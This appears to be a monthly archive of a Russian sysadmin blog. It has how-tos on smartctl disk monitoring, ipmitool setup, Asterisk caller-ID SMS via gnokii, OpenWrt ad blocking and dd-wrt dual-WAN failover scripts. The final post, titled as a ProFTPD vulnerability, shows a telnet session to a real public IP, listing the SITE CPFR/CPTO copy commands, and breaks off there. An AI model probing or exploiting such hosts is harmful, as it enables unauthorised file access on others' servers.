Месяц: Июль 2015

Мониторинг HDD с помощью smartctl

SMART — аббревиатура означает Self Monitoring Analysing and Reporting Technology. На текущий момент поддержка SMART заявлена многими производителями жестких дисков. С помощью этой технологии можно выявить следующие проблемы:

  • Проблемы блока магнитных головок
    Физические повреждения, логические ошибки
    Проблемы привода, системы позиционирования
    Проблемы электронной части (платы)
    Превышение температуры

Установка не тривиальна:

sudo apt-get smartmontools

На выходе получаем 2 приложения: smartctl и smartd.

  • smartctl (Control and Monitor Utility for SMART Disks) — поддерживает ATA, IDE, SATA и SCSI-3 диски.
    smartd — является демоном smartclt, пытаясь включить SMART monitoring на ATA устройствах (smartctl -s on) опрашивая устройства каждые 30 минут (по умолчанию),  при этом логируя ошибки дисков и изменения атрибутов в файл /var/log/syslog. Smartd можно сконфигурировать на отсылку предупреждений по e’mail в случае обнаружении проблемы.

Чтобы понять, есть ли поддержка SMART жестким диском выполняем:

smartctl -i /dev/hda

Если выключен, то Включить SMART, можно так:

smartctl -s on /dev/hda

Для получения полной информации о жестком диске выполняем:

smartctl --all /dev/hda

Получаем:

=== START OF INFORMATION SECTION ===
Model Family:     Seagate Barracuda ES
Device Model:     ST3500630NS
Serial Number:    9QG2ML1C
Firmware Version: 3.AEG
User Capacity:    500 107 862 016 bytes
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   7
ATA Standard is:  Exact ATA specification draft version not indicated
Local Time is:    Mon Oct 29 10:42:35 2012 MSK
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

=== START OF READ SMART DATA SECTION ===
MART overall-health self-assessment test result: PASSED

/*часть вывода опущено*/

ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x000f   104   093   006    Pre-fail  Always       -       6515114
  3 Spin_Up_Time            0x0003   095   092   000    Pre-fail  Always       -       0
  4 Start_Stop_Count        0x0032   099   099   020    Old_age   Always       -       1848
  5 Reallocated_Sector_Ct   0x0033   100   100   036    Pre-fail  Always       -       0
  7 Seek_Error_Rate         0x000f   070   047   030    Pre-fail  Always       -       335760201000
  9 Power_On_Hours          0x0032   079   079   000    Old_age   Always       -       18756
 10 Spin_Retry_Count        0x0013   100   100   097    Pre-fail  Always       -       0
 12 Power_Cycle_Count       0x0032   098   098   020    Old_age   Always       -       2636
187 Reported_Uncorrect      0x0032   100   100   000    Old_age   Always       -       0
189 High_Fly_Writes         0x003a   100   100   000    Old_age   Always       -       0
190 Airflow_Temperature_Cel 0x0022   050   036   045    Old_age   Always   In_the_past 50 (Lifetime Min/Max 23/51)
194 Temperature_Celsius     0x0022   050   064   000    Old_age   Always       -       50 (0 1 0 0)
195 Hardware_ECC_Recovered  0x001a   067   058   000    Old_age   Always       -       26848298
197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       -       1
198 Offline_Uncorrectable   0x0010   100   100   000    Old_age   Offline      -       1
199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       -       0
200 Multi_Zone_Error_Rate   0x0000   100   253   000    Old_age   Offline      -       0
202 Data_Address_Mark_Errs  0x0032   100   253   000    Old_age   Always       -       0

С жестким диском все в порядке, был лишь достигнут температурный максимум, но он не является критичным, для данного HDD.

Детальный вывод smartctl:

RAW_VALUE — Каждый атрибут имеет raw value 6-ти байтовое значение.

THRESH — минимальное возможное значение атрибута, при котором гарантируется безотказная работа накопителя.

VALUE — одно байтовое значение «нормализованное», изменяется в диапазоне от 0 до 255 (задается производителем). Маленькое значение говорит о быстрой деградации диска или о возможном скором сбое. т.е. чем выше значение тем лучше.
Например в случае параметра «Airflow_Temperature_Cel» RAW_VALUE хранит температуру диска (50), а так же минимальную и максимальную температуру (Lifetime Min/Max 23/51), при которой сохраняется работоспособность диска. Firmware диска конвертирует RAW_VALUE в normalized value (VALUE) в диапазоне от 1 до 253. Если нормализованное значение (VALUE) меньше или равно THRESH, Атрибут считается failed и отображается в столбце WHEN_FAILED, как в текущем случае  сбой был по атрибуту Airflow_Temperature_Cel.

WORST — минимальное нормализованное значение, которое достигалось с момента включения SMART на диске.

TYPE — существует 2 типа атрибутов:

  • Pre-fail -критичные атрибуты
  • Old_age — некритичные атрибуты (величина VALUE отведенная производителем до наработки на отказ).

Если VALUE стало меньше THRESH в случае Pre-fail атрибута — существует большая вероятность, что диск вылетит в ближайшие 24 часа.
Если VALUE стало меньше THRESH в случае Old_age атрибута — существует большая вероятность, что диск вылетит т.к. выработан ресурс, но когда это произойдет не известно.

Критичные атрибуты:

  • Raw_Read_Error_Rate — частота ошибок при чтении данных с диска, происхождение которых обусловлено аппаратной частью диска.
  • Spin_Up_Time — время раскрутки пакета дисков из состояния покоя до рабочей скорости. При расчете VALUE значения практическое время сравнивается с некоторой эталонной величиной, установленной на заводе. Не ухудшающееся немаксимальное значение при Spin Up Retry Count Value = max (Raw равном 0) не говорит ни о чем плохом. Отличие времени от эталонного может быть вызвано рядом причин, например просадка по вольтажу блока питания.
  • Spin_Retry_Count — число повторных попыток раскрутки дисков до рабочей скорости, в случае если первая попытка была неудачной. Ненулевое значение Raw (соответственно немаксимальное Value) свидетельствует о проблемах в механической части накопителя.
  • Seek_Error_Rate — частота ошибок при позиционировании блока головок. Высокое значение Raw свидетельствует о наличии проблем, которыми могут являться повреждение сервометок, чрезмерное термическое расширение дисков, механические проблемы в блоке позиционирования и др. Постоянное высокое значение Value говорит о том, что все хорошо.
  • Reallocated_Sector_Ct — число операций переназначения секторов. SMART в современных дисках способен произвести анализ сектора на стабильность работы «на лету» и в случае признания его сбойным, произвести его переназначение.

Некритичные атрибуты:

  • Start_Stop_Count — полное число запусков/остановов шпинделя. Гарантировано мотор диска способен перенести лишь определенное число включений/выключений. Это значение выбирается в качестве Treshold. Первые модели дисков со скоростью вращения 7200 оборотов/мин имели ненадежный двигатель, могли перенести лишь небольшое их число и быстро выходили из строя.
  • Power_On_Hours — число часов проведенных во включенном состоянии. В качестве порогового значения для него выбирается паспортное время наработки на отказ (MBTF). Обычно величина MBTF огромна, и маловероятно, что этот параметр достигнет критического порога. Но даже в этом случае выход из строя диска совершенно не обязателен.
  • Power_Cycle_Count — количество полных циклов включения-выключения диска. По этому и предыдущему атрибуту можно оценить, например, сколько использовался диск до покупки.
  • Temperature_Celsius — Здесь хранятся показания встроенного термодатчика. Температура имеет огромное влияние на срок службы диска (даже если она находится в допустимых пределах). Вернее имеет влияние не на срок службы диска а на частоту возникновения некоторых типов ошибок, которые влияют на срок службы.
  • Current_Pending_Sector — Число секторов, являющихся кандидатами на замену. Они не были еще определенны как плохие, но считывание их отличается от чтения стабильного сектора, так называемые подозрительные или нестабильные сектора.
  • Offline_Uncorrectable — число ошибок при обращении к сектору, которые не были скорректированы. Возможными причинами возникновения могут быть сбои механики или порча поверхности.
  • UDMA_CRC_Error_Count — число ошибок, возникающих при передаче данных по внешнему интерфейсу. Могут быть вызваны некачественными кабелями, нештатными режимами работы.

Конфигурирование демона smartd:

vi /etc/smartd.conf

По-умолчанию там только одна опция DEVICESCAN, рекомендуется за комментировать и перечислить список устройств, для которых необходим мониторинг:

/dev/sda -S on -o on -a -I 194 -m alert@wandmagic.ru
/dev/sdb -S on -o on -a -I 194 -m alert@wandmagic.ru

Где:

  • первая колонка — устройство,
  • -S включает автозапись атрибутов,
  • -o включает автоматическое off-line тестирование,
  • -a указывает smartd мониторить все SMART параметры диска,
  • -I 194 означает игнорировать атрибут #194, (т.е. температуру), т.к. температура диска часто меняется и нет смысла ее логировать,
  • -m указывает куда warning сообщения отсылать.

запуск демона:

/etc/init.d/smartd start

******************************

В SMART III появилась функция, позволяющая прозрачно для пользователя переназначать BAD сектора.

Работает механизм следующим образом: при неустойчивом чтении сектора, или же ошибки его чтения, SMART заносит его в список нестабильных и увеличит их счетчик (Current_Pending_Sector). Если при повторном обращении сектор будет прочитан без проблем, он будет выброшен из этого списка. Если же нет, то при представившейся возможности — при отсутствии обращений к диску, диск начнет самостоятельную проверку поверхности, в первую очередь подозрительных секторов. Если сектор будет признан сбойным, то он будет переназначен на сектор из резервной поверхности (соответственно RSC увеличиться). Такое фоновое переназначение приводит к тому, что на современных винчестерах сбойные секторы практически никогда не видны при проверке поверхности сервисными программами. В тоже время, при большом числе плохих секторов их переназначение не может происходить до бесконечности. Первый ограничитель очевиден — это объем резервной поверхности.
У современных винчестеров есть два дефект-листа P-list (Primary, заводской) и G-list (Growth, формируется непосредственно во время эксплуатации). И при большом числе переназначений может оказаться так, что в G-list не оказывается места для записи о новом переназначении. Эта ситуация может быть выявлена по высокому показателю переназначенных секторов в SMART.

Настройка IPMI

Пример для Debian: Установка с помощью менеджера пакетов:

apt-get install ipmitool

Для работы ipmitool необходимо с помощью «modprobe» загрузить следующие модули:

modprobe ipmi_devintf
modprobe ipmi_si

Проверить, что всё необходимое корректно загружено и установлено, можно с помощью команды в следующем примере, она отобразит данные со всех доступных датчиков:

ipmitool sensor list

Пользователи

На BMC можно создать несколько пользователей с различными правами. После создания нового пользователя с правами администратора, можно будет управлять другими пользователями через веб-интерфейс. Существует четыре различных уровня доступа:

  • callback (1) — может только лишь инициировать callback;
  • user (2) — может отправлять запросы с правами только на чтение, но не может редактировать никакие конфигурационные файлы;
  • operator (3) — может менять все настройки за исключением деактивации канала и изменения прав;
  • administrator (4) — может менять любые настройки.

Обычно один или более пользователей уже существуют. Обзор существующих пользовательских ID и логинов можно получить с помощью:

ipmitool user list 1

В моделях PX90/PX120 уже существует активный пользователь с администраторскими правами:

ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit
2   ADMIN            false   false      true       ADMINISTRATOR

В моделях PX91/PX121 есть два активных пользователя с администраторскими правами:

ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit
1                    false   false      true       ADMINISTRATOR
2   admin            false   false      true       ADMINISTRATOR

В моделях PX60/PX70 есть 5 стандартных неактивных пользователей, которых можно менять за исключением первого.

ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit
1                    true    false      true       ADMINISTRATOR
2   root             false   true       true       ADMINISTRATOR
3   test1            true    false      true       ADMINISTRATOR
4   test2            true    false      true       ADMINISTRATOR
5   test3            true    false      true       ADMINISTRATOR

ID пользователя root (или ADMIN) должен быть отключён и, по возможности, переименован после создания нового пользователя, но до активации сети.

Сменить логин можно с помощью ipmitool:

ipmitool user set name 2 john-doe

Для создания нового пользователя, просто назначьте имя неиспользованному ранее ID. Здесь процедура идентична процедуре смены логина для ID. Удаление ID возможно только при сбросе настроек BMC.

Создайте нового пользователя:

ipmitool user set name 6 max+meier

Затем задайте ему пароль:

ipmitool user set password 6 Correct-Battery-Horse-Staple

Теперь следует активировать этому пользователю доступ:

ipmitool channel setaccess 1 6 link=on ipmi=on callin=on privilege=4

Сам по себе пользователь также должен быть активирован:

ipmitool user enable 6

Для смены пользовательского пароля, достаточно следующей команды:

ipmitool user set password 6 Battery+Staple-Horse$Correct

В конце надо деактивировать админа по умолчанию:

ipmitool user disable 2

Сеть

Для того чтобы иметь доступ к BMC через Интернет Вам потребуется заказать через панель Robot дополнительный одиночный IP-адрес. Этот IP-адрес оплачивается. Настройка BMC на IPv4 может быть произведена при помощи ipmitool. Доступно как ручное задание IPv4 адреса, так и получение его по DHCP. Изменить эти настройки Вы сможете через веб-интерфейс (Configuration / IPv4 Network). В настоящий момент использование IPv6 невозможно. Позднее такая настройка должна появиться при использовании веб-интерфейса.

Начальная настройка должна быть произведена при помощи ipmitool.

На различных моделях серверов Shared LAN соответствует разным каналам:

  • PX60/70/90/120: канал 1
  • PX91/121: канал 8

Для получения MAC адреса BMC используйте команду lan print:

  • PX60/70/90/120:
ipmitool lan print 1
  • PX91/121:
ipmitool lan print 8

Далее приводятся команды с и использованием канала 1. Для серверов PX91/PX121 команды будут теми же, но с каналом 8 («set 1» замените на «set 8»).

Для получения IP-адреса при помощи DHCP используйте следующую команду:

ipmitool lan set 1 ipsrc dhcp

Если вы хотите задать IP-адрес вручную, то используйте следующую серию команд:

ipmitool lan set 1 ipsrc static

Задание IP-адреса:

ipmitool lan set 1 ipaddr <IP-адрес>

Задание маски сети:

ipmitool lan set 1 netmask <маска сети>

Задание шлюза по умолчанию:

ipmitool lan set 1 defgw ipaddr <IP-адрес шлюза>

Serial over LAN

Для активации SOL (Serial over LAN) введите следующую команду:

ipmitool -C 3 -I lanplus -H <IP-адрес> -U <имя пользователя> -P <пароль> sol activate

Использования шифрования третьего вида обязательно, без него будет невозможно использование lanplus.

Если вы увидите следующее сообщение об ошибке, то вам надо активировать пользователя для SOL:

$ ipmitool -C 3 -I lanplus -H <IP-адрес> -U <имя пользователя> -P <пароль> sol activate
Info: SOL payload disabled
$ ipmitool -C 3 -I lanplus -H <IP-адрес> -U <имя пользователя> -P <пароль> sol payload enable <channel> <user-id>

После этого вы сможете видеть вывод BIOS. Доступ к загрузчику ОС и к консоли ОС требует дополнительной настройки.

Передаем номер звонящего при переадресации на мобильный с помощью СМС.

Что имеем:
Сервер с FreePBX Distro FreePBX 2.11.0.0beta2.5 (Астериск 1.8), модем Huawei E171, несколько подключенных городских линий, диалплан с переадресацией.

Для начала установим модем, переведем его в нужный режим, настроим программу для отправки СМС — Gnokii. Здесь и далее описываю действия для CentOS.

1. Обязательно ставим зависимости:

yum install usbutils libusb-devel tcl

2. Вставляем модем и смотрим, как он определился:

lsusb
Bus 002 Device 007: ID 12d1:14fe Huawei Technologies Co., Ltd.

Так в начале выглядит строка.

3. В моем дистрибутиве не было пакета для сборки программ из исходников. Ставим Development Tools.

yum groupinstall "Development Tools"

4. Качаем программу для переключения режимов модема. Пакеты usb-modeswitch usb-modeswitch-data берем отсюда.

5. Распаковываем оба архива и устанавливаем по-очереди:

tar xvjf ...
make install

6. Передергиваем модем и проверяем:

lsusb
Bus 002 Device 008: ID 12d1:1506 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard

Значит все ОК и модем будет определяться каждый раз как надо. Если строка та же, что и вначале, то идем сюда.

Команда dmesg покажет нам:

option 2-1.4:1.0: GSM modem (1-port) converter detected
usb 2-1.4: GSM modem (1-port) converter now attached to ttyUSB0
option 2-1.4:1.1: GSM modem (1-port) converter detected
usb 2-1.4: GSM modem (1-port) converter now attached to ttyUSB1
option 2-1.4:1.2: GSM modem (1-port) converter detected
usb 2-1.4: GSM modem (1-port) converter now attached to ttyUSB2

7. Устанавливаем репозитарий для EPEL CentOS вот так.

8. Устанавливаем gnokii

yum --enablerepo=epel install gnokii gnokii-smsd

9. Правим конфиг /etc/gnokiirc

[global]
port = /dev/ttyUSB0
model = AT
initlength = default
connection = serial
use_locking = no
serial_baudrate = 115200

10. Проверяем отправку СМС:

echo 'Bingo!' | gnokii --sendsms +79060000000

Теперь нужно разрешить пользователю asterisk запускать gnokii из диалплана. Так как установлена gnokii была под учеткой root, то пользователь asterisk не сможет ее запустить. Правим файл /etc/sudoers с помощью команды visudo (настоятельно рекомендуется использовать только visudo для правки файла sudoers):

добавим строку для пользователя asterisk:

asterisk ALL=NOPASSWD:/usr/bin/gnokii 

Сохраняем файл и выходим.

Далее нам нужно внедрить в наш диалплан команду System() для отправки CID в СМС. FreePBX, конечно, не даст нам править extensions.conf и extensions_additional.conf, так как он сам их все время перезаписывает. Но можно вставлять свои правки в план с помощью файла extensions_override_freepbx.conf, что мы и сделаем. Можно просто найти в файле extensions_additional.conf нужный контекст, скопировать его фрагмент в extensions_override_freepbx.conf и внести свои изменения. У меня есть внутренний номер 203 который переадресуется на номер мобильника по SIP/trunk/номер_телефона. Эту часть диалплана мы и будем править:

[ext-local]
exten => 203,1,Set(__RINGTIMER=${IF($[${DB(AMPUSER/203/ringtimer)} > 0]?${DB(AMPUSER/203/ringtimer)}:${RINGTIMER_DEFAULT})})
exten => 203,n,System(echo '8${CALLERID(num)}' | sudo gnokii --sendsms +79061234567) ; отправка номера
exten => 203,n,Macro(exten-vm,novm,203,0,0,0)
exten => 203,n(dest),Set(__PICKUPMARK=)
exten => 203,n,Goto(${IVR_CONTEXT},return,1)
exten => 203,hint,SIP/10000/778899
exten => Narva778899,1,Goto(from-internal,203,1)

Теперь при звонке или переадресации на 203 будет отправляться СМС с номером звонившего, взятая из переменной CALLERID(num) прямо на мобильный телефон.

Adblock на openwrt

Для начала научим стандартный dnsmasq работать с внешним host файлом.
В файле /etc/config/dhcp добавить строку:

в секции 
config dnsmasq
        list addnhosts '/root/hosts/adfree'
        list addnhosts '/root/hosts/unchanged'

Файл /root/hosts/unchanged я использую для добавления собственных hosts правил, или которых нет в adfree.
По пути /root/hosts/ создаем скриптик upd-adfree.sh который качает свежие списки adfree (ссылка которую использует android телефон) и модифицирует под вид hosts, затем перезагружает dnsmasq для того чтоб он прочитал новые файлы.

##adfree
wget http://winhelp2002.mvps.org/hosts.txt -O adfree-tmp
sed 's/^\(.*\).$/\1/' adfree-tmp > adfree

## dns restart to update
/etc/init.d/dnsmasq restart

И дать права на выполнение:

chmod +x /root/hosts/upd-adfree.sh

в файле /etc/crontabs/root добавить строку
0 0 * * * /root/hosts/upd-adfree.sh
Что означает запускать скрипт каждый день в 0:00.
Активировать cron:

/etc/init.d/cron enable

 

Два провайдера на одном роутере

Неприятно, если у провайдера авария и у вас дома пропал доступ в интернет. Вдвойне неприятно, если в этот момент вы находитесь далеко от дома и вам нужно залезть на домашний компьютер или NAS. В моем случае застраховаться от падения канала мне помогла компания МГТС, заменив устаревшую медь на оптику, с которой я получил ещё один канал интернет, и чтение различных мануалов по dd-wrt. Если с оптикой я помочь не смогу, то готовым решением по dd-wrt я с удовольствием поделюсь.

Решение не универсальное, но, как мне кажется, очень простое и на его основе неискушенные пользователи смогут, если не создать свое, то просто расширить свой кругозор и понимание этой популярной прошивки.

Я использую роутер asus rt-n16 и прошивку от тов. Kong 22000++. Интернет от основного провайдера приходит ко мне по кабелю, все настройки получаются роутером по dhcp.

Фактически, все по умолчанию. Адрес роутера во внутренней сети сменен на 192.168.199.1.

Переключение каналов интернета будет выполняться скриптом, который мы создадим во внутренней памяти роутера JFFS2, соответственно, нужно эту внутреннюю память включить.

После включения JFFS2 память нужно очистить. Для этого выберем «Clean JFFS2» и нажмем применить. Возможно, нужно будет перезагрузить роутер. Наша задача — добиться того, чтобы появилось свободное место в этой памяти.

Теперь зайдем на роутер при помощи telnet. Я использую для этого putty:

putty -telnet 192.168.199.1

Имя пользователя root, даже если для логина в вебинтерфейс dd-wrt вы используете другое имя. Пароль — тот, который вы используете для логина в вебинтерфейс.

Следующий шаг. Мы подключаем резервный кабель в порт LAN1 роутера. В моем случае резервный кабель идет от оборудования GPON, которое поставил МГТС. Это оборудование раздает интернет в своей локальной сети 192.168.100.0/255.255.255.0. Нам нужно будет «оторвать» необходимый порт нашего роутера от остальных портов и назначить ему адрес из сети оборудования GPON, например, 192.168.100.200.

Теперь информация специфичная для конкретной железки, а именно asus rt-n16. Наберем в терминале следующие команды и посмотрим ответ:

root@DD-WRT:~# nvram show | grep vlan.*port
vlan2ports=0 8
vlan0ports=1 2 3 4 5*
vlan1ports=4 3 2 1 8*
size: 29978 bytes (2790 left)
root@DD-WRT:~# nvram show | grep vlan.*hw
vlan2hwname=et0
vlan1hwname=et0
vlan0hwname=et0
size: 29978 bytes (2790 left)

Группы портов объединенны в вэланы. Порт 0 — это WAN порт роутера, порты 1234 — это порты роутера, которые соответствуют (внимание!) портам LAN4,LAN3,LAN2,LAN1 роутера, то есть порт 4 подписан на корпусе роутера LAN1. Порт 8 и порт 8* — это порты процессора, через них мы будем видеть интерфейсы в роутере. Я не хочу вдаваться в подробности, принципиально то, что любой вэлан должен замыкаться на процессор роутера. Давайте «оторвем» 4-ый порт:

root@DD-WRT:~# nvram set vlan0ports="1 2 3 5*"
root@DD-WRT:~# nvram set vlan1ports="3 2 1 8*"

а теперь назначим 4 порт в 3-ий вэлан

root@DD-WRT:~# nvram set vlan3ports="4 8"

для того, чтобы новый вэлан был виден, нужно ввести команду

root@DD-WRT:~# nvram set vlan3hwname=et0

сохраним изменения

root@DD-WRT:~# nvram commit

По аналогии, можно сделать для других роутеров с прошивкой dd-wrt.

Адрес нашему новому интерфейсу, который связан с 4-ым портом, мы будем назначать из скрипта при старте. Поэтому, давайте начнём этот скрипт писать. Но прежде, где он будет храниться. Как учит нас Боконон dd-wrt wiki, всякий скрипт в папке /jffs/etc/config/ с расширением .startup выполняется при запуске системы до того, как файрвол будет сконфигурирован. Назовём наш скрипт vlan3.startup и напишем следующие строки:

#!/bin/sh
WAN2_IFNAME=vlan3
WAN2_IPADDR=192.168.100.200
WAN2_GATEWAY=192.168.100.1
WAN2_NETMASK=255.255.255.0
if [ "$(nvram get wan2_ipaddr)" != "$WAN2_IPADDR" ]; then
   nvram set wan2_ifname=$WAN2_IFNAME
   nvram set wan2_ipaddr=$WAN2_IPADDR
   nvram set wan2_gateway=$WAN2_GATEWAY
   nvram set wan2_netmask=$WAN2_NETMASK
   nvram commit
fi
ifconfig $(nvram get wan2_ifname) up $(nvram get wan2_ipaddr) netmask $(nvram get wan2_netmask)

В этих строках всё просто. Мы завели в nvram 4-ре новые переменные и занесли в них название интерфейса, адрес, маску и шлюз для нашего резервного порта интернет. Каждый раз при старте мы проверяем, что адрес именно тот, который задан в переменной скрипта, это на случай, если потребуется поменять настройки резервного интернета. Далее кофигурируем порт заданными значениями. С текущими переменными это выглядело бы так:
ifconfig vlan3 up 192.168.100.200 netmask 255.255.255.0

Добавим к нашему скрипту бесконечный цикл, в котором и будем переключать интернет канал на резервный и обратно:

INTERVAL=30

while sleep $INTERVAL
do
        WAN1ALIVE=0
        WAN2USING=0
        WAN1GW=`nvram get wan_gateway`

        echo "check"

        if [ "$WAN1GW" != "0.0.0.0" ]; then
                if [ "1" = `ping -c 1 $WAN1GW 2>/dev/null | awk    '/packets received/ {print $4}'` ]; then
                        WAN1ALIVE=1
                        echo "wan1alive"
                fi
        fi

        TARGET=`ip -4 route list 0/0  | awk -v gate="via "$WAN2_GATEWAY '$0 ~ gate {print $3}'`
        if [ ! -z "$TARGET" ]; then
                WAN2USING=1
                echo "wan2using"
        fi

        if [ "$WAN1ALIVE" = "1" ] && [ "$WAN2USING" = "1" ]; then
                /jffs/etc/config/wan1.up
                echo "Changed active WAN port to 1!"
        fi

        if [ "$WAN1ALIVE" = "0" ] && [ "$WAN2USING" = "0" ]; then
                if [ "1" = `ping -c 1 $WAN2_GATEWAY 2>/dev/null | awk '/packets received/ {print $4}'` ]; then
                        /jffs/etc/config/wan2.up
                        echo "Changed active WAN port to 2!"
                fi
        fi

done;

Словами этот длинный кусок кода можно описать так. Каждые n-цать секунд мы проверяем:

  1. Текущий адрес шлюза основного канала. Он хранится в переменной wan_gateway в nvram и назначается автоматически, когда основной шлюз получает параметры по dhcp от основного провайдера. Если этот адрес не равен «0.0.0.0», а «0.0.0.0» он равен тогда, когда адрес не может быть получен, то есть провайдер лежит, мы его пингуем и в случае ответа устанавливаем флаг WAN1ALIVE в единицу, то есть основной канал предполагается рабочим.
  2. Присутствует ли адрес резервного шлюза в таблице роутинга. Если присутствует, то устанавливаем флаг WAN2USING=1, то есть в данный момент используется резервный интернет канал.
  3. Если основной канал работает и используется резервный канал, то переключаемся на основной канал интернет.
  4. Если основной канал не работает и не используется резервный канал, то тестируем доступность шлюза резервного канала и переключаемся на рабочий резерв.

Скрипт включения основного канала wan1.up:

#!/bin/sh
# WAN1
DEV=vlan2
GATEWAY=`nvram get wan_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf

Здесь все просто. Удалили все шлюзы по умолчанию. Да-да, их может быть несколько: если после перезагрузки роутера был недоступен основной канал, то включается резервный интернет и мы имеем один шлюз по умолчанию. Если затем начинает работать основной канал, dd-wrt добавляет ещё один шлюз по умолчанию. Тут уж ничего не поделать. Не хотелось долго думать и появился «грязный хак»: while ip route del default; do :; done, а именно удалять все шлюзы по умолчанию, пока не случится ошибка из-за того, что шлюзов больше нет. Некрасиво, придумайте, как лучше.

После того, как удалили все шлюзы по умолчанию, добавим новый шлюз, который записан в переменную wan_gateway nvram (его туда записала логика dd-wrt при получения параметров от основного провайдера). Заменим dns на dns гугл, убьем процесс dnsmasq и запустим этот процесс вновь.

Скрипт для включения резервного канала wan2.up устроен таким-же образом, но адрес шлюза берётся из пременной wan2_gateway nvram и используется интерфейс связанный с 4-ым портом роутера.

#!/bin/sh
# WAN2
DEV=vlan3
GATEWAY=`nvram get wan2_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf

Остался маленький скриптик vlan3.wanup, который выполняется после поднятия WAN, сразу после того, как включится файрволл:

#!/bin/sh
iptables -t nat -A POSTROUTING -o $(nvram get wan2_ifname) -j SNAT --to $(nvram get wan2_ipaddr)

Назначение скриптика — добавить правило для ната через резервный интерфейс.

Теперь можно перезагрузить роутер и тестировать. Все скрипты были взяты из моего роутера который живёт своей жизнь и тестирует полученную конфигурацию продолжительное время.

Целиком скрипт выглядит вот так:

Вставляем в окно telnet\ssh следующую простыню и нажимаем «Enter»:

nvram set vlan0ports="1 2 3 5*"
nvram set vlan1ports="3 2 1 8*"
nvram set vlan3ports="4 8"
nvram set vlan3hwname=et0
nvram commit
mkdir -p /jffs/etc/config
cat << 'EOF' > /jffs/etc/config/vlan3.startup
#!/bin/sh
WAN2_IFNAME=vlan3
WAN2_IPADDR=192.168.100.200
WAN2_GATEWAY=192.168.100.1
WAN2_NETMASK=255.255.255.0
if [ "$(nvram get wan2_ipaddr)" != "$WAN2_IPADDR" ]; then
   nvram set wan2_ifname=$WAN2_IFNAME
   nvram set wan2_ipaddr=$WAN2_IPADDR
   nvram set wan2_gateway=$WAN2_GATEWAY
   nvram set wan2_netmask=$WAN2_NETMASK
   nvram commit
fi
ifconfig $(nvram get wan2_ifname) up $(nvram get wan2_ipaddr) netmask $(nvram get wan2_netmask)

INTERVAL=30

while sleep $INTERVAL
do
        WAN1ALIVE=0
        WAN2USING=0
        WAN1GW=`nvram get wan_gateway`

        echo "check"

        if [ "$WAN1GW" != "0.0.0.0" ]; then
                if [ "1" = `ping -c 1 $WAN1GW 2>/dev/null | awk    '/packets received/ {print $4}'` ]; then
                        WAN1ALIVE=1
                        echo "wan1alive"
                fi
        fi

        TARGET=`ip -4 route list 0/0  | awk -v gate="via "$WAN2_GATEWAY '$0 ~ gate {print $3}'`
        if [ ! -z "$TARGET" ]; then
                WAN2USING=1
                echo "wan2using"
        fi

        if [ "$WAN1ALIVE" = "1" ] && [ "$WAN2USING" = "1" ]; then
                /jffs/etc/config/wan1.up
                echo "Changed active WAN port to 1!"
        fi

        if [ "$WAN1ALIVE" = "0" ] && [ "$WAN2USING" = "0" ]; then
                if [ "1" = `ping -c 1 $WAN2_GATEWAY 2>/dev/null | awk '/packets received/ {print $4}'` ]; then
                        /jffs/etc/config/wan2.up
                        echo "Changed active WAN port to 2!"
                fi
        fi

done;
EOF
chmod +x /jffs/etc/config/vlan3.startup
cat << 'EOF' > /jffs/etc/config/vlan3.wanup
#!/bin/sh
iptables -t nat -A POSTROUTING -o $(nvram get wan2_ifname) -j SNAT --to $(nvram get wan2_ipaddr)
EOF
chmod +x /jffs/etc/config/vlan3.wanup
cat << 'EOF' > /jffs/etc/config/wan1.up
#!/bin/sh
# WAN1
DEV=vlan2
GATEWAY=`nvram get wan_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
#`ip -4 route list 0/0  | awk '/default via/ {print "ip route delete default"}'` | sh
# ip route delete default
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf
EOF
chmod +x vi /jffs/etc/config/wan1.up
cat << 'EOF' > /jffs/etc/config/wan2.up
#!/bin/sh
# WAN2
DEV=vlan3
GATEWAY=`nvram get wan2_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
#`ip -4 route list 0/0  | awk '/default via/ {print "ip route delete default"}'`|sh
# ip route delete default
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf
EOF
chmod +x /jffs/etc/config/wan2.up

 

Уязвимость proftpd.

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
